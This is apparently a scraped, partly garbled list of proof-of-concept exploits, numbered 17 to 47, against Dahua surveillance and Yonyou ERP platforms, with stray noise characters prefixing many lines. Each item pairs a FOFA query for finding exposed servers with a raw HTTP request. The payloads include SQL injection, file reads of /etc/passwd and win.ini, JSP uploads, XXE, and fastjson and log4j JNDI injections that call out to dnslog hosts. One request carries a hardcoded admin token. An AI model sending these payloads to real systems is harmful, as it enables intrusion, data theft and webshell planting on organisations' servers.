# l) z, x: p. h& }, P$ I4 ^8 S5 f
+ h' J) g* ^  V0 V$ N17. 大华 DSS itcBulletin SQL 注入
+ V  ?9 r- |- J- I+ L3 q; rFOFA：app="dahua-DSS"
) p4 e2 |' f% k: \POST /portal/services/itcBulletin?wsdl HTTP/1.1
3 v; {* }" f4 x# n, ?3 v) V5 UHost: x.x.x.x
  \, C  T- }3 [2 V% |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; O0 f( m) ?# e6 J1 F2 V! H, YConnection: close
Content-Length: 345
. a- b* h) L+ _1 mAccept-Encoding: gzip
9 F# L- _& m# `: I& _
: L) P, x8 h3 ]/ q$ [" b3 r- d<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
5 ^5 k, z- H8 |' V, D# l      <netMarkings>
% O+ G/ ~4 c* D2 V       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
- t% V& o9 g8 [, t% i1 ]</s11:Envelope>


  l% Y) f# V$ C18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
6 Y* R/ S3 l/ \7 @FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% l7 U7 {( q& t" K8 N: B; o  |Connection: keep-alive
2 e1 S: Y% h* X3 a6 ]2 n

5 e( o9 |8 Y! S- C( \3 V& v" S% [
& e2 j: B- e: |7 F0 r. D# V19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* v7 ]7 a! ~, ?5 y( [+ N' D3 ^7 SFOFA：app="dahua-DSS"
9 ~# k5 s# [) V/ {: {3 h/ ]8 ?GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# M5 K; X- g2 LAccept-Encoding: gzip, deflate
+ c$ u# u4 l% o/ q' vAccept: */*
Connection: keep-alive

. w* h" B; s7 t4 o) N  s
20. 大华ICC智能物联综合管理平台任意文件读取
  P1 ^* G8 K, K, A! ?  G5 JFOFA：body="*客户端会小于800*"
7 [* D1 }  |2 T: _: @2 |GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
  k  C8 J* j3 J% r  AHost: x.x.x.x
0 Z$ Z8 X" ?9 j  HUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 m$ }7 P/ H, ~& Y2 G7 t* wConnection: close
Accept: */*
Accept-Language: en
6 c: z9 q, y9 f+ D. U3 r/ T9 _Accept-Encoding: gzip
; r$ r8 S" T; s3 D+ H1 o# J

* ^1 X) p4 ~7 Y8 {) J+ s21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
7 e/ }7 g* b$ G' OHost: x.x.x.x
1 K" \1 ~) K7 D, C2 y" k1 I$ jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 f$ w2 y* b5 t  S# `Content-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
0 H8 u* ^) }6 y2 z2 _6 {; l7 s4 v
{
9 O) t) g& n3 g- U9 F/ t"a":{
7 r1 r* H4 J4 S   "@type":"com.alibaba.fastjson.JSONObject",
1 X0 o+ l$ n. v! M5 h$ n2 W( [- ^: ]    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
1 S' s7 s1 I- a0 N2 ~8 V  }""
}
% \4 m( s  K! [* P& E1 S: ?6 p
. X- ~! m/ x3 A
! t, G+ L6 ~2 D2 K( x22. 大华ICC智能物联综合管理平台 log4j远程代码执行
3 y9 e0 M* C  z% b# B9 y  R6 lFOFA：icon_hash="-1935899595"
0 _* k- _+ _4 V/ B+ @( @/ i# e: qPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
; }) q. g3 s; H; E4 CHost: your-ip
! N3 K: v2 w9 ~- H: Y4 p- j2 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- \% n+ L/ M, D. k5 b* M& r' G! ZContent-Type: application/json;charset=utf-8

, ~3 Q  b5 L; `: L{
"loginName":"${jndi:ldap://dnslog}"
2 Q. u9 d7 E! _% X# o' I}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
& I1 o) K3 l) t: B6 ]) j5 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 z0 B2 U2 @! d! t- ?2 G  vContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
9 b+ b7 E9 m0 k( s    "a":{
. C5 ^; }7 \' f/ B        "@type":"com.alibaba.fastjson.JSONObject",
, R) a/ K! O* {8 I$ T# A- s       {"@type":"java.net.URL","val":"http://DNSLOG"}
1 Q" y, u+ {) w" H$ r& e5 n! o, [        }""
}
" W  H) d; Y) r1 ?: E9 Q

24. 用友NC 6.5 accept.jsp任意文件上传
+ H5 A5 [) V8 }' |& T+ @% i. P& e3 w& NFOFA：icon_hash="1085941792"
2 ~2 J* ]$ L6 c& M  JPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
; E. Y  r4 G$ O3 N4 Q) _7 L7 AAccept: */*
7 C1 x; a7 b: h8 UAccept-Encoding: gzip
0 ?! W( m( q0 Y$ U; |$ K& RContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

* X- s3 h4 h# [% G3 K8 K, N; ?-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% s+ Q) u% r  L- aContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
8 E6 S: a% ]/ g8 ^
$ u! w% B% b4 w7 _( k+ x1 z<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
& G, C7 o0 s+ b" v4 {- A9 ?-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
& t, L! C! Y) ]9 G2 L
4 i) ~$ J& U7 v6 [
, x* u6 i+ G: A25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
- i% E; e4 e( ?( nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
0 J* O$ a" J3 |/ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 \( [: y' s; C) BAccept-Encoding: gzip, deflate
7 }6 N$ l- ?% Y$ J/ ~Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
" a+ a/ L% i7 o* }7 _Content-Type: application/x-www-form-urlencoded

( b. n- \: M! v( p$ xtype=1&dsname=ldap://dnslog


$ `% L* h) K5 N, \4 A+ P3 f+ n
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
1 U+ o- p: H' V# I9 s6 DGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 u& b7 n1 `: C+ }4 Z7 e9 h2 I8 UHost: your-ip
" m: Y6 \, X  ^1 M2 B7 p  z; j1 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# I9 l5 [7 ?1 P% D3 jAccept: */*
: k4 Y  y  ~! t3 w8 u4 OConnection: keep-alive
' j  ?5 C8 z. ~+ B
- ~6 E2 L! d7 M& z' u7 a
6 b- W# O5 k% l! R: [: F27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
8 I; g& Y1 r3 O4 e- q7 `& q5 ~GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
6 L$ F( J3 N7 n. l5 x  \4 c! i. \6 VConnection: close
- c. D/ g& C4 I2 `/ `8 D* o, q$ EContent-Type: text/xml; charset=utf-8
0 G& |' }6 _8 h* u( ^  r

28. 用友NC grouptemplet 任意文件上传
+ X* }: J# K' MFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
# \3 f# H! s# H! u; y9 Z/ f9 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 P' D! o* _; Q5 ]Connection: close
Content-Length: 268
5 U( W5 {! s: J$ E" _# V' \Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
1 D5 g% W- k/ v4 Q7 |7 d
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
1 \1 f) R2 v+ E9 g1 _9 ~' t7 @; `Content-Type: application/octet-stream
0 a* N  ?3 e, T0 R, t6 Y9 m- I( ^
( [/ i' O7 N0 t% u* c* y<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
3 d' B& A$ }1 N# r/ q1 l" C: a------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
3 t( z: i6 [1 x# W, O$ R
: ~, i1 _" [; l1 ?- Q
  X; c' m: \" j. T9 _: \/uapim/static/pages/nc/head.jsp

& A7 l0 K/ d" R, l# t6 m$ {29. 用友NC down/bill SQL注入
/ e# u/ \; w% i+ `! dFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
$ M3 w8 {' n0 h3 S1 u9 p, @Host: your-ip
& P: q  L$ d6 ?7 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
) {  S: V# `  w1 h7 P2 G
8 v8 H8 k$ r' |0 V. D  W2 b/ G) |
+ N5 P. f- [( @; _( J/ \30. 用友NC importPml SQL注入
7 a. o! r8 q" W4 PFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& T- q' Z  j0 Y. uConnection: close
- }8 M' y9 Y% |& H
5 h5 ~2 g0 {% k% P! A6 Z! S------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
4 e' e4 W6 k: c+ J! n( o& a' v8 XContent-Type: image/jpeg
9 w8 R; ]1 N5 x! y9 z# C# G% m------WebKitFormBoundaryH970hbttBhoCyj9V--
' l0 l) V: l* `6 i
; Y) J) h; b: i/ n
* L1 x2 ~/ M# j. m6 W4 K31. 用友NC runStateServlet SQL注入
+ v5 o% h  k, }8 F) M+ d' Aversion<=6.5
5 X6 y2 [& b% X6 b* ~FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( V1 e7 e  y6 e1 o; iGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 Q! i, C3 X9 s4 UContent-Type: application/x-www-form-urlencoded


$ N# O  Y, {% ~! a$ A2 Y; P32. 用友NC complainbilldetail SQL注入
  x8 |" f. f7 aversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 Z$ k: y- z) `( T1 V8 T4 O/ bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% P, a+ P' S+ rAccept-Encoding: gzip, deflate
  f1 Z- x; F6 ?* d1 f# PAccept: */*
Connection: keep-alive

( `7 `6 g! ^2 c9 D# Z: O
33. 用友NC downTax/download SQL注入
0 @( f5 V7 O+ c% v6 B3 [5 }version：NC6.5FOFA：app="用友-UFIDA-NC"
# Q8 v5 Q  M4 B  O8 EGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 C- y" b) c# K4 B4 Z2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 m& }, Y$ W1 k/ C  w; FContent-Type: application/x-www-form-urlencoded
; w* K+ @  w: `" W( [Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; {* E6 U5 d( |" u2 S/ F

' K$ {! N9 R/ h8 i4 g34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: r9 D  L- V  O9 W4 S3 P! d0 ^0 yHost: your-ip
( ~- P. l6 E* j) D0 f$ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% p9 m1 N8 S  P+ ~Accept-Encoding: gzip, deflate
4 C7 `" Q  u# e; P3 ?6 {* ?/ XAccept: */*
Connection: keep-alive
( Q" T! L# A/ k- c7 k0 d

7 L3 i2 R; s# ]& E7 V  j% O35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
4 ~2 S6 D& N7 I  i) ^User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
$ O9 ^( ]8 U: x5 qAccept: */*
Connection: close
6 _! t5 }% p; D9 h& T$ P" O! Q8 DaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
, n. [' X8 l* q5 X0 O6 KContent-Length: 190
7 {$ ?0 K5 Y) [/ z- _Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
8 R9 z% ?& ?5 B+ q( W
<%out.println(1111*1111);%>
7 `, K+ L1 I5 X# `- h' p% Q9 K--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
( }, H' e/ y: \Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 Z0 P9 r8 x. y" r) I. |Content-Length: 263
1 g$ N) v9 i  A) z3 H" p& S% sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) F, W$ y( D' [# x5 u9 D! Z2 CAccept-Encoding: gzip, deflate
+ G& S2 D3 h. ?; v+ L5 h- A* HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: \$ x' L4 t1 SConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
* c. i" A- _, _3 b1 j
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
- @9 P; R! ~3 D; @
. @/ e9 H- C1 D9 \
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 V7 z8 w. D  w. e) T0 WPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
9 ]# l3 v1 `  ~/ a$ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
8 T/ `8 ]' @6 r/ ]! {Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ o; ]0 d5 x& a$ B5 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% {* A6 H- d& g4 AConnection: close
Content-Type: text/xml;charset=UTF-8
- |  z* ?4 J& M7 w, G, I7 w8 FSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
) O0 Q+ w) D5 h- X; U0 k
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
" c3 ^* }. v8 X' b% M+ N" }<xxx/>]]></iup:string>
5 b1 \2 _3 b4 }$ U5 R. H8 R</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>



0 l, o, R) D7 h! }) b+ c. ?9 x38. 用友U8 Cloud smartweb2.RPC.d XXE
5 o2 R: n2 s. b; R4 g" y0 `: dFOFA：app="用友-U8-Cloud"
  R% B. k9 i( m/ VPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
7 f6 f0 ]! X2 P, X# aContent-Length: 260
9 S  m( c$ m4 e$ P9 G, TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ X' o" _% N  k! a  B4 m6 wConnection: close
) p' h3 b, g0 \, tContent-Type: application/x-www-form-urlencoded

" c0 L( p; v: v5 Q__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

* Z7 L9 d$ }  `; \( }
2 c3 S; D+ D- @- ~# E39. 用友U8 Cloud RegisterServlet SQL注入
/ M! O& i9 G3 Q7 U1 E5 uFOFA：title="u8c"
8 b) I0 Q3 G8 kPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
# X, \1 p# |7 P5 c# EConnection: close
Content-Length: 85
Accept: */*
Accept-Language: en
- {- P) G, ~% g# z, W0 SContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


! J/ w9 w/ \# L* D+ H4 a40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
3 h% N9 }5 J0 mPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% x6 B0 V% G* y! W; f5 BContent-Type: text/xml
Connection: close
* S. W4 ~! ?8 {9 z  r& v7 q
+ i' w; a- h4 E* }. z<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
8 ^7 a/ e: B4 \: {, W

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
" ?! z$ T" W- M+ T" JHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 @" _% |6 i5 d& g9 \3 HContent-Type: application/json
* S8 w- c5 n, L- P4 pAccept-Encoding: gzip
Connection: close
( X$ c* `! r- s. U% m

8 H* x; B- H4 r! q3 E42. 用友GRP-U8 SmartUpload01 文件上传
: x! P8 }2 H1 Q/ _* MFOFA：app="用友-GRP-U8"
6 ]$ I: X5 {/ E8 ZPOST /u8qx/SmartUpload01.jsp HTTP/1.1
' ^7 @& G  S0 NHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
; V- g) ~0 k, P# h( V
PAYLOAD

+ ~, f7 f: ~- D: h; z
# f5 J- G9 z9 u7 s8 i7 K; W' Shttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
# \$ o& [# c4 i0 I" f' b* c
2 R3 T& t, `# t. t! B$ t- [7 w43. 用友GRP-U8 userInfoWeb SQL注入致RCE
+ M3 T! Z2 Y. K7 h$ j- ^7 D6 qFOFA：app="用友-GRP-U8"
+ W! \9 S) K) ?# N6 r& V( DPOST /services/userInfoWeb HTTP/1.1
; b& D( D1 H) a5 fHost: your-ip
( Y+ r* z  X; b8 z8 A& eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 W+ j* {& }( wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 x, V  K( g9 c7 I  i+ N; eConnection: close
" u: M7 i! A. b. e5 |SOAPAction:
( I( h% ^+ v6 ~3 e4 }9 q2 O; @/ S1 IContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
1 d1 K! C/ G7 F' G; B/ G   <soapenv:Header/>
   <soapenv:Body>
& X+ k/ q% k5 I6 j      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
" d- d- Q2 e1 p( @$ z( g3 i) N   </soapenv:Body>
</soapenv:Envelope>

9 _! I7 w7 t& w$ h8 x
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* V/ e3 v$ ?' |, {( }FOFA:app="用友-GRP-U8"
: C. L" Y: p/ g9 ~- C7 {GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 `1 ^% s( ], \( M* IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: j. s' Z& v  M& P( n6 |5 _' ^" EAccept-Language: zh-CN,zh;q=0.9
+ `" m) n8 C& N8 J: k* MConnection: close
! X, y5 W1 B, X
# P- C5 j1 N4 n6 s  V! Y
) i. K1 f) Q' P/ m0 T- r45. 用友GRP-U8 ufgovbank XXE
3 a, I" P( Z$ o+ nFOFA：app="用友-GRP-U8"
; @0 T9 j: f9 B" ~9 T( u0 zPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
2 @- M$ R; Q, B8 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
" v5 @4 K; g+ T/ ?Connection: close
Content-Length: 161
) L6 \% N4 e  B% o& KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& O; k% s" M& m' x+ R: E- o- ^5 f2 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
0 Z4 B+ P/ F( VAccept-Encoding: gzip
8 S2 E# r+ @- v6 s+ p% l: }
  \4 `! {) V& @+ e" MreqData=<?xml version="1.0"?>
' {* s1 P& ~5 Q/ Y& S. Z<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


/ {4 u1 I4 g. B- Q9 B/ s2 ^46. 用友GRP-U8 sqcxIndex.jsp SQL注入
4 c$ ^8 e. |$ J  c" y+ ^FOFA：app="用友-GRP-U8"
. C4 |  v  K& a, d: YGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
; R, G, ~8 ?! S) v$ A+ o  m' J9 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& o" P6 g2 Z# |& Z; o7 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


4 b+ ?3 l4 w+ T+ C47. 用友GRP A++Cloud 政府财务云 任意文件读取
5 B; ^# y3 `( s5 s8 jFOFA：body="/pf/portal/login/css/fonts/style.css"
